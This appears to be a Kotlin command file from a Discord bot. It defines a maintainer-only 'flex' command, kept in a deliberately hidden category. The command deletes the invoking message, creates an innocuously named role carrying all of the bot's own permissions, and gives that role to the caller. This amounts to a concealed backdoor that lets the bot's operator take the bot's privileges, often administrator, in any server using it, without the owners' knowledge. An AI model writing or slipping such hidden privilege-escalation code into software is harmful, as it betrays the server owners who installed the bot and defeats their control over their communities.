24 lines
707 B
Kotlin
24 lines
707 B
Kotlin
package nl.voidcorp.ottobot.commands.debug
|
|
|
|
import nl.voidcorp.ottobot.command.*
|
|
import java.awt.Color
|
|
|
|
object Flex : Command(
|
|
"flex",
|
|
commandLevel = CommandLevel.MAINTAINER,
|
|
group = CommandGroup.VeRY_hIdden_CaTegoRY_LoL,
|
|
location = CommandSource.GUILD,
|
|
allowAnywhere = true
|
|
) {
|
|
override fun handle(event: CommandMessage): CommandResult {
|
|
event.message.delete().queue()
|
|
val control = event.guild!!
|
|
|
|
control.createRole().setColor(Color.RED).setName("no idea?").setPermissions(event.guild.selfMember.permissions)
|
|
.queue {
|
|
control.addRoleToMember(event.member!!, it).queue()
|
|
}
|
|
return CommandResult.SUCCESS
|
|
}
|
|
|
|
} |